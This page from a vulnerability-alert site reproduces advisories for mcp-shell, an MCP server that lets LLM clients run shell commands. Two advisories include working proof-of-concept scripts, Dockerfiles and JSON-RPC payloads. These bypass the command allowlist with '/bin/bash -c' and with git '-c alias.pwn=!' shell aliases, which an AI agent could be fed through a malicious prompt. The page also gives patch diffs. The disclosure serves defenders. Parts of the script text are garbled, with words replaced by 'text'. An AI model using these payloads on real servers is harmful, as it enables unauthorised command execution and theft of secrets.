Where
-Infinity
0
OS Command Injection

mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, config.go initializes Security.Enabled to false, and when MCPSHELLSECCONFIGFILE is unset, main.go starts the documented bare-binary deployment without a security policy. SecurityValidator.validateCommand in security.go then short-circuits and allows every command supplied to the shellexec MCP tool, so an LLM connected over stdio can execute unrestricted OS commands as the mcp-shell process user. The README from-source installation and MCP client configuration omit MCPSHELLSECCONFIGFILE, making the insecure state the documented default. This issue is fixed in version 0.6.0.

1 / 2
Source: MITRE
First published (updated )
Severity
8.4
OS Command Injection, Command Injection
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

mcp-shell ships a default Docker configuration (security.yaml) that includes /bin/bash in the allowedexecutables allowlist. The command validator (security.go) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as -c. As a result, any MCP tool caller can send command=/bin/bash -c <arbitrary-command> to the shellexec tool and execute commands that are not in the allowlist — including id, env, curl, wget, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as mcpuser.

Details

mcp-shell implements a secure mode in which command execution is restricted to an explicit allowlist of executables defined in security.yaml. The Docker image ships this file with the following entry:

yaml security.yaml (line 29) allowedexecutables: - "ls" - ... - "/bin/bash" # Only allow if you trust the arguments

The comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in security.go is responsible for enforcing secure mode:

go // security.go:84-96 for , allowed := range v.config.AllowedExecutables { if v.matchesExecutable(executable, allowed) { if err := v.checkBlockedPatternsAndCommands(command); err != nil { return err } return nil } }

executable is derived solely from parts[0] after splitting the input on whitespace (security.go:67). When the command is /bin/bash -c id, executable evaluates to /bin/bash, which matches the allowlist entry. The -c flag and subsequent arguments are passed to checkBlockedPatternsAndCommands, which only checks for shell metacharacters (|, &, ;, <, >, (, ), {, }, [, ], , $, \, ", ') and a configurable list of blockedcommands/blockedpatterns — both of which default to empty arrays in the shipped configuration. The flag -c does not match any blocked metacharacter, so the check passes.

The validated command then reaches the executor:

go // executor.go:149-163 executable, args, err := e.parseCommand(command) // ... cmd = exec.CommandContext(ctx, executable, args...)

parseCommand splits the command string, yielding executable="/bin/bash" and args=["-c", "id"]. exec.CommandContext is invoked directly — no shell is spawned by the executor itself — but /bin/bash -c id is equivalent to a shell invocation, executing id outside the allowlist.

Data flow (source → sink):

| Step | Location | Description | |------|----------|-------------| | 1 | Dockerfile:55 | COPY security.yaml /etc/mcp-shell/security.yaml — bundles vulnerable config into image | | 2 | Dockerfile:57 | ENV MCPSHELLSECCONFIGFILE=/etc/mcp-shell/security.yaml — activates config by default | | 3 | security.yaml:29 | /bin/bash registered in allowedexecutables | | 4 | main.go:84-102 | MCP tool shellexec registered with required command parameter | | 5 | handler.go:34 | command := request.RequireString("command") — attacker-controlled input received | | 6 | handler.go:49 | h.validator.validateCommand(command) — validation called | | 7 | security.go:67-96 | executable = parts[0] matches /bin/bash; -c not blocked; returns nil | | 8 | handler.go:59 | Validated command forwarded to executor | | 9 | executor.go:163 | exec.CommandContext(ctx, "/bin/bash", "-c", "id") — sink: arbitrary execution |

PoC

Prerequisites:

- Docker installed and accessible. - Repository source code checked out (build context is the repository root). - python3 available (for the automated PoC script).

Step 1 — Build the Docker image

bash docker build \ -f vuln-001/Dockerfile \ /path/to/mcp-shell-repo \ -t mcp-shell-vuln-001:latest

Step 2 — Run the PoC script

bash python3 vuln-001/poc.py mcp-shell-vuln-001:latest

The script sends three MCP JSON-RPC requests over stdio:

1. initialize handshake 2. tools/call shellexec with command="/bin/bash -c id" — exploit payload 3. tools/call shellexec with command="id" — control: direct invocation must be blocked

Expected output (exploit success):

[id=2] /bin/bash -c id response: → status='success', exitcode=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'

[+] PASS: uid= confirmed → /bin/bash -c via arbitrary command execution successful!

[+] control confirmed: 'id' direct execution blocked (allowlist behavior normal) → allowlist bypass /bin/bash -c only through the path occurs proven

Alternatively, using raw printf (no Python required):

bash printf '%s\n' \ '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \ '{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \ '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shellexec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \ | docker run --rm -i mcp-shell-vuln-001:latest

Observed MCP response:

json { "command": "/bin/bash -c id", "executiontime": "3.854555ms", "exitcode": 0, "securityinfo": {"securityenabled": true, "workingdir": "/tmp", "timeoutapplied": true}, "status": "success", "stderr": "", "stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)" }

Remediation (patch guidance):

1. Remove shell interpreters from the default security.yaml allowlist:

diff --- a/security.yaml +++ b/security.yaml - - "/bin/bash" # Only allow if you trust the arguments

2. Add argument-level validation in security.go to block shell command-mode flags even when a shell interpreter is allowlisted:

diff --- a/security.go +++ b/security.go executable := parts[0] + args := parts[1:] + + if isShellCommandMode(executable, args) { + return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable) + }

// Check if the executable is in the allowlist for , allowed := range v.config.AllowedExecutables { ... } + + func isShellCommandMode(executable string, args []string) bool { + base := filepath.Base(executable) + switch base { + case "sh", "bash", "dash", "ash", "zsh", "ksh": + for , arg := range args { + if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) { + return true + } + } + } + return false + }

Impact

This is an OS Command Injection vulnerability (CWE-78). The shellexec MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (curl, wget, env, sed, grep, tar, etc. — all installed by the Dockerfile) under the identity of mcpuser (UID 1000).

Who is impacted:

- Any operator deploying the official Docker image without modifying the default security.yaml is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required. - MCP clients that interact with a vulnerable mcp-shell instance — including automated AI agents, LLM orchestration platforms, and CI/CD pipelines — may be leveraged to exfiltrate secrets, tamper with files accessible to mcpuser, or pivot further within the container's network. - The --network=none flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.

Concrete consequences of exploitation:

- Confidentiality: Dump environment variables (/bin/bash -c env), read files, or exfiltrate credentials visible to mcpuser. - Integrity: Write or modify files within the container's writable filesystem. - Availability: Consume container resources or terminate processes.

Reproduction artifacts

Dockerfile

dockerfile VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c build context: ../repo directory usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest

Build stage FROM golang:1.25-alpine AS builder

RUN apk add --no-cache git

WORKDIR /app

COPY go.mod go.sum ./ RUN go mod download

COPY .go ./

ARG VERSION=vuln-001-poc RUN CGOENABLED=0 GOOS=linux go build \ -ldflags "-X main.version=${VERSION} -s -w" \ -a -installsuffix cgo \ -o mcp-shell .

Runtime stage FROM alpine:3.22

RUN apk add --no-cache \ bash \ curl \ wget \ git \ make \ findutils \ grep \ sed \ gawk \ tar \ gzip \ unzip \ ca-certificates \ && rm -rf /var/cache/apk/

RUN addgroup -g 1000 mcpuser && \ adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser

RUN mkdir -p /tmp/mcp-workspace && \ chown mcpuser:mcpuser /tmp/mcp-workspace

RUN mkdir -p /etc/mcp-shell && \ chown mcpuser:mcpuser /etc/mcp-shell

COPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell RUN chmod +x /usr/local/bin/mcp-shell

Vulnerable default configuration: /bin/bash text allowedexecutables text containsdone COPY security.yaml /etc/mcp-shell/security.yaml

ENV MCPSHELLSECCONFIGFILE=/etc/mcp-shell/security.yaml ENV PATH="/usr/local/bin:${PATH}"

USER mcpuser WORKDIR /tmp/mcp-workspace

ENTRYPOINT ["mcp-shell"]

poc.py

python #!/usr/bin/env python3 """ VULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c

Vulnerability summary: security.yamltext allowedexecutablestext /bin/bash text registerbecomes text, validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext executor.go:163 from exec.CommandContext(ctx, "/bin/bash", "-c", "id") text executebecomes allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.

usage: python3 poc.py [IMAGENAME] default text: mcp-shell-vuln-001:latest """

import subprocess import json import sys

IMAGE = sys.argv[1] if len(sys.argv) > 1 else "mcp-shell-vuln-001:latest"

def makemsg(obj): return json.dumps(obj, separators=(',', ':'))

MCP JSON-RPC message whentext MESSAGES = [ # 1. initialize handshake makemsg({ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "vuln-001-poc", "version": "0.0.1"} } }), # 2. initialized text (response none) makemsg({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}), # 3. vulnerability text: /bin/bash -c id # id text allowlisttext textonly /bin/bash text because it exists verification passed → id execute makemsg({ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "shellexec", "arguments": {"command": "/bin/bash -c id", "base64": False} } }), # 4. comparison: id directly execute → allowlisttext because it is missing blockbecomestext done makemsg({ "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "shellexec", "arguments": {"command": "id", "base64": False} } }), # 5. add evidence: env environment variable text (envtext allowlisttext none) makemsg({ "jsonrpc": "2.0", "id": 4, "method": "tools/call", "params": { "name": "shellexec", "arguments": {"command": "/bin/bash -c env", "base64": False} } }), ]

def extracttext(resp): """MCP tools/call responsefrom text contents extract""" try: content = resp.get("result", {}).get("content", []) for item in content: if item.get("type") == "text": return item["text"] except Exception: pass return None

def runpoc(): stdindata = "\n".join(MESSAGES) + "\n"

print(f"[] text: {IMAGE}") print("[] text: /bin/bash -c id") print("[] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock") print()

try: proc = subprocess.run( ["docker", "run", "--rm", "-i", "--network=none", IMAGE], input=stdindata.encode(), captureoutput=True, timeout=30, ) except subprocess.TimeoutExpired: print("[-] error: container response timeout (30seconds)") return False, "timeout" except FileNotFoundError: print("[-] error: docker commandtext text can none") return False, "docker not found" except Exception as e: print(f"[-] error: {e}") return False, str(e)

stdout = proc.stdout.decode(errors="replace") stderr = proc.stderr.decode(errors="replace")

print("=== STDOUT (JSON-RPC response) ===") print(stdout) if stderr: print("=== STDERR (server log, partial) ===") print(stderr[:1500]) print()

# response parse responses = {} for line in stdout.splitlines(): line = line.strip() if not line: continue try: resp = json.loads(line) msgid = resp.get("id") if msgid is not None: responses[msgid] = resp except json.JSONDecodeError: pass

exploitpassed = False exploitevidence = ""

# [id=2] /bin/bash -c id result check (key point evidence) if 2 in responses: text = extracttext(responses[2]) if text: print(f"[id=2] /bin/bash -c id response text: {text[:400]}") try: result = json.loads(text) stdoutval = result.get("stdout", "") status = result.get("status", "") exitcode = result.get("exitcode", -1) print(f" → status={status!r}, exitcode={exitcode}, stdout={stdoutval!r}") if "uid=" in stdoutval and status == "success": exploitpassed = True exploitevidence = ( f"command=/bin/bash -c id | status={status} | " f"exitcode={exitcode} | stdout={stdoutval}" ) print(f"\n[+] PASS: uid= check → /bin/bash -c text arbitrary command execute success!") print(f"[+] Deterministic evidence: {exploitevidence}") except json.JSONDecodeError: if "uid=" in text: exploitpassed = True exploitevidence = text print(f"[+] PASS: uid= confirmed (raw): {text[:200]}") else: print("[-] id=2 response none (secondstext failure or server error)")

# [id=3] id directly execute → block check (text) if 3 in responses: text = extracttext(responses[3]) or "" respstr = str(responses[3]) blocked = ( "not in allowed list" in text or "not in allowed list" in respstr or "Security violation" in text or "isError" in respstr and "true" in respstr.lower() ) if blocked: print(f"\n[+] text check: 'id' directly executetext blocked (allowlist behavior normal)") print(f" → allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone") else: print(f"[] 'id' directly result: {text[:200]}")

# [id=4] /bin/bash -c env add evidence if 4 in responses: text = extracttext(responses[4]) or "" try: result = json.loads(text) stdoutval = result.get("stdout", "") if "PATH=" in stdoutval or "HOME=" in stdoutval: envlines = stdoutval.splitlines()[:5] print(f"\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)") print(f" first 5lines: {chr(10).join(' ' + l for l in envlines)}") except Exception: pass

return exploitpassed, exploitevidence

if name == "main": passed, evidence = runpoc() print() if passed: print("[+] vulnerability reproduction result: PASS") sys.exit(0) else: print("[-] vulnerability reproduction result: FAIL") sys.exit(1)

1 / 2
Source: GitHub
First published (updated )
Severity
8.4
OS Command Injection, Command Injection
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

mcp-shell's "secure mode" is designed to restrict command execution to an allowlist of executables defined in security.yaml. The default configuration includes /usr/bin/git. The security validator in security.go blocks common shell metacharacters (|&;<>(){}[]$\) but omits !, which is the prefix Git uses to execute shell aliases (alias.NAME=!CMD). An attacker who can invoke the shellexec MCP tool can pass /usr/bin/git -c alias.pwn=!<arbitrary-command> as the command argument, bypassing all validation and achieving arbitrary OS command execution as the mcp-shell process user. The default Docker image runs as mcpuser (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required.

Details

The vulnerability is a classic OS Command Injection (CWE-78) in the shellexec MCP tool handler. The data flow from attacker input to shell execution is:

1. main.go:89-91 — The MCP tool schema exposes a required string parameter command with no server-side type constraints. 2. main.go:102 — shellexec is bound to shellHandler.handle. 3. handler.go:34 — The handler reads the attacker-controlled value: command, err := request.RequireString("command"). 4. handler.go:49 — The command string is passed to h.validator.validateCommand(command). 5. security.go:136 — containsShellMetacharacters checks for |&;<>(){}[]$\ but ! is absent from the blocked set. 6. security.go:147-149 — containsDangerousShellConstructs also does not include !. 7. security.go:85-96 — /usr/bin/git matches AllowedExecutables; no per-argument policy exists for Git. The blockedpatterns list in security.yaml:35 is empty ([]). 8. handler.go:59 — The fully validated (but unsafe) command is forwarded to h.executor.execute. 9. executor.go:149-163 — parseCommand splits the string with strings.Fields; exec.CommandContext(ctx, executable, args...) is called with executable="/usr/bin/git" and args=["-c", "alias.pwn=!touch", "pwn", "/tmp/target"]. 10. executor.go:199 — cmd.Run() launches git. Git interprets -c alias.pwn=!touch as a runtime configuration entry, defining the alias pwn as the shell command touch. When Git resolves the subcommand pwn, it triggers the shell alias: sh -c 'touch "$@"' /tmp/target, creating the file.

The root cause is the missing ! in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git's -c alias.=! pattern.

Incriminated source locations: - security.go:136 — metacharacter set missing ! - security.go:147-149 — containsDangerousShellConstructs missing ! - security.yaml:27 — /usr/bin/git in allowedexecutables - security.yaml:35 — blockedpatterns: [] - executor.go:149-163,199 — direct exec.CommandContext invocation with unsanitized Git arguments

PoC

Prerequisites: - Docker installed and the mcp-shell-vuln-001 image built from the provided Dockerfile (repo root as build context, commit c30862f). - Python 3 to run poc.py.

Build the Docker image:

bash docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .

Run the PoC:

bash python3 vuln-001/poc.py

The script performs the full MCP JSON-RPC handshake over stdin and sends the following tools/call request:

json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "shellexec", "arguments": { "command": "/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc", "base64": false } } }

The container's /tmp is bind-mounted to a host temporary directory so the evidence file can be observed on the host without docker exec.

Expected result:

- MCP response: {"status":"success","exitcode":0,"executiontime":"~3ms","securityinfo":{"securityenabled":true,...}} - Evidence file created at <hosttmp>/mcp-shell-mcp-poc with uid=1000 (mcpuser), confirming arbitrary shell command execution inside the container.

Validation bypass explanation:

| Check | Value tested | Result | |---|---|---| | containsShellMetacharacters | alias.pwn=!touch | false — ! not in blocklist | | containsDangerousShellConstructs | alias.pwn=!touch | false — ! not in blocklist | | matchesExecutable | /usr/bin/git | true — in AllowedExecutables |

All checks pass; git receives alias.pwn=!touch as a config entry and executes touch as a shell alias.

Impact

This is an OS Command Injection vulnerability (CWE-78). Any entity that can issue an MCP tools/call request to a mcp-shell instance running with the default Docker configuration can execute arbitrary OS commands as the mcpuser process account (UID 1000) inside the container.

The default Docker deployment sets MCPSHELLSECCONFIGFILE=/etc/mcp-shell/security.yaml, installs git, and runs as mcpuser. The shellexec tool requires no additional authentication beyond MCP connectivity. "Secure mode" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely.

Impacted parties: - Users and operators who deploy the default mcp-shell Docker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network). - AI agent systems that integrate mcp-shell as a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as the command argument.

Reproduction artifacts

Dockerfile

dockerfile VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias CWE-78: OS Command Injection This Dockerfile reproduces the exact default Docker deployment environment of sonirico/mcp-shell at commit c30862f that is affected by VULN-001. Vulnerability summary: - security.yaml allows /usr/bin/git in allowedexecutables - The security validator (security.go) does not block '!' in arguments - Git's '-c alias.NAME=!CMD' syntax executes CMD as a shell command - This bypasses "secure mode" and achieves arbitrary command execution Build context must be the repo parent directory: docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .

Stage 1: Build the mcp-shell binary from the vulnerable source FROM golang:1.25-alpine AS builder

RUN apk add --no-cache git ca-certificates

WORKDIR /src

Download dependencies before copying source for better layer caching COPY repo/go.mod repo/go.sum ./ RUN go mod download

Copy and build the vulnerable source COPY repo/.go ./ RUN CGOENABLED=0 GOOS=linux go build \ -ldflags "-s -w" \ -o mcp-shell .

Stage 2: Runtime environment matching the default mcp-shell Docker image FROM alpine:3.22

Install git — this is what the default Dockerfile does (apk add git), and it is what makes the exploit possible: /usr/bin/git is present and the security config allows it. RUN apk add --no-cache bash git

Create non-root user matching the default Docker image RUN addgroup -g 1000 mcpuser && \ adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser

Install the mcp-shell binary COPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell

Install the default (vulnerable) security configuration. Key properties that enable the exploit: allowedexecutables includes /usr/bin/git blockedpatterns is empty security.go does not list '!' in blocked metacharacters COPY repo/security.yaml /etc/mcp-shell/security.yaml

Replicate the default environment variables from the repo Dockerfile ENV MCPSHELLSECCONFIGFILE=/etc/mcp-shell/security.yaml ENV MCPSHELLLOGFORMAT=json ENV PATH="/usr/local/bin:${PATH}"

USER mcpuser WORKDIR /home/mcpuser

mcp-shell reads JSON-RPC over stdin and writes responses to stdout ENTRYPOINT ["mcp-shell"]

poc.py

python #!/usr/bin/env python3 """ Proof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias Repository: sonirico/mcp-shell (commit c30862f) CWE-78: OS Command Injection

Vulnerability: mcp-shell "secure mode" uses security.yaml to allowlist executables. The default config allows /usr/bin/git. The security validator in security.go checks for metacharacters (|&;<>(){}[]$\\) but does NOT include '!' in the blocked set. Git's -c flag accepts runtime config overrides; setting 'alias.NAME=!CMD' defines a shell alias that runs CMD as a shell command when 'NAME' is used as a git subcommand.

Exploit payload (MCP tools/call -> shellexec argument): /usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc

Validation path (all checks pass): containsShellMetacharacters("alias.pwn=!touch") -> False (! not in set) containsDangerousShellConstructs("alias.pwn=!touch") -> False (! not in set) matchesExecutable("/usr/bin/git", "/usr/bin/git") -> True

Execution path: exec.CommandContext(ctx, "/usr/bin/git", "-c", "alias.pwn=!touch", "pwn", "/tmp/mcp-shell-mcp-poc") -> git defines alias pwn = !touch -> git runs subcommand "pwn" -> triggers shell alias -> sh -c 'touch "$@"' /tmp/mcp-shell-mcp-poc -> file /tmp/mcp-shell-mcp-poc is created

Evidence method: The container's /tmp is bind-mounted to a host temporary directory. After the MCP call, verify the evidence file exists on the host.

Usage: # From the repo parent directory: docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 . python3 vuln-001/poc.py """

import json import os import subprocess import sys import tempfile import stat

IMAGENAME = "mcp-shell-vuln-001" EVIDENCEFILENAME = "mcp-shell-mcp-poc" EXPLOITTARGET = f"/tmp/{EVIDENCEFILENAME}"

MCP JSON-RPC protocol requires: 1. initialize handshake (client -> server) 2. notifications/initialized acknowledgement 3. tools/call with the exploit payload MCPINITIALIZE = json.dumps({ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "vuln-001-poc", "version": "1.0.0"}, }, })

MCPINITIALIZED = json.dumps({ "jsonrpc": "2.0", "method": "notifications/initialized", })

The malicious command: /usr/bin/git - allowed by security.yaml AllowedExecutables -c alias.pwn=!touch - git runtime config; ! prefix = shell alias NOT blocked: '!' absent from security.go metachars pwn - triggers the alias (git subcommand lookup) /tmp/<file> - argument forwarded to touch by git shell alias MCPEXPLOIT = json.dumps({ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "shellexec", "arguments": { "command": f"/usr/bin/git -c alias.pwn=!touch pwn {EXPLOITTARGET}", "base64": False, }, }, })

def run(args, kwargs): print(f"[] {' '.join(str(a) for a in args)}") return subprocess.run(args, kwargs)

def parsemcpresponse(stdouttext): """Parse newline-delimited JSON-RPC responses, return the tools/call result.""" for line in stdouttext.splitlines(): line = line.strip() if not line: continue try: msg = json.loads(line) if msg.get("id") == 2: return msg except json.JSONDecodeError: pass return None

def main(): print("=" 62) print("VULN-001 PoC — mcp-shell Secure Mode Bypass via Git Alias") print("=" 62) print()

# Create a host-side temporary directory that will be bind-mounted # as /tmp inside the container. This lets us observe file creation # caused by the git shell alias without needing 'docker exec'. hosttmp = tempfile.mkdtemp(prefix="mcp-vuln001-") # Allow UID 1000 (mcpuser inside the container) to write files here. os.chmod(hosttmp, 0o1777) evidencehostpath = os.path.join(hosttmp, EVIDENCEFILENAME)

print(f"[] Host bind-mount (-> /tmp inside container): {hosttmp}") print(f"[] Expected evidence file on host: {evidencehostpath}") print() print(f"[] Exploit command (shellexec argument):") print(f" /usr/bin/git -c alias.pwn=!touch pwn {EXPLOITTARGET}") print()

# Build the newline-delimited JSON-RPC payload sent over stdin. # mcp-shell reads one JSON object per line. payloadbytes = ( MCPINITIALIZE + "\n" + MCPINITIALIZED + "\n" + MCPEXPLOIT + "\n" ).encode()

print("[] Sending MCP JSON-RPC payload to container via stdin ...") try: proc = run( [ "docker", "run", "--rm", # Remove container on exit "-i", # Keep stdin open for piped input "--network=none", # No external network access (safety) "-v", f"{hosttmp}:/tmp", # Expose container's /tmp on host IMAGENAME, ], input=payloadbytes, captureoutput=True, timeout=40, ) except subprocess.TimeoutExpired: print("[FAIL] docker run timed out after 40 seconds") sys.exit(1) except FileNotFoundError: print("[FAIL] 'docker' not found — install Docker to run this PoC") sys.exit(1)

stdout = proc.stdout.decode(errors="replace") stderr = proc.stderr.decode(errors="replace")

print() print("[] Container stdout (MCP responses):") for line in stdout.splitlines(): print(f" {line}")

if stderr.strip(): print("[] Container stderr:") for line in stderr.splitlines(): print(f" {line}")

print()

# Locate and pretty-print the tools/call MCP response. exploitresponse = parsemcpresponse(stdout) if exploitresponse: print("[] MCP tools/call response (id=2):") print(json.dumps(exploitresponse, indent=4)) print()

# --- Primary evidence check --- if os.path.exists(evidencehostpath): st = os.stat(evidencehostpath) print(f"[PASS] Evidence file found on host: {evidencehostpath}") print(f" size={st.stsize} mode={oct(st.stmode)} uid={st.stuid}") print() print("[PASS] EXPLOIT SUCCESSFUL") print(" 'touch /tmp/mcp-shell-mcp-poc' was executed INSIDE the container") print(" by the git shell alias, bypassing mcp-shell secure mode.") passed = True evidence = ( f"File '{evidencehostpath}' created on host via /tmp volume mount. " f"size={st.stsize} uid={st.stuid} mode={oct(st.stmode)}. " f"MCP response: {json.dumps(exploitresponse) if exploitresponse else 'n/a'}" ) else: print(f"[FAIL] Evidence file NOT found at: {evidencehostpath}") print("[FAIL] EXPLOIT FAILED") if exploitresponse: resultcontent = exploitresponse.get("result", {}) print(f" MCP result: {json.dumps(resultcontent)}") passed = False evidence = ( f"Evidence file was not created. " f"stdout={stdout[:600]!r} stderr={stderr[:300]!r}" )

print() return passed, evidence

if name == "main": passed, evidence = main() sys.exit(0 if passed else 1)

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203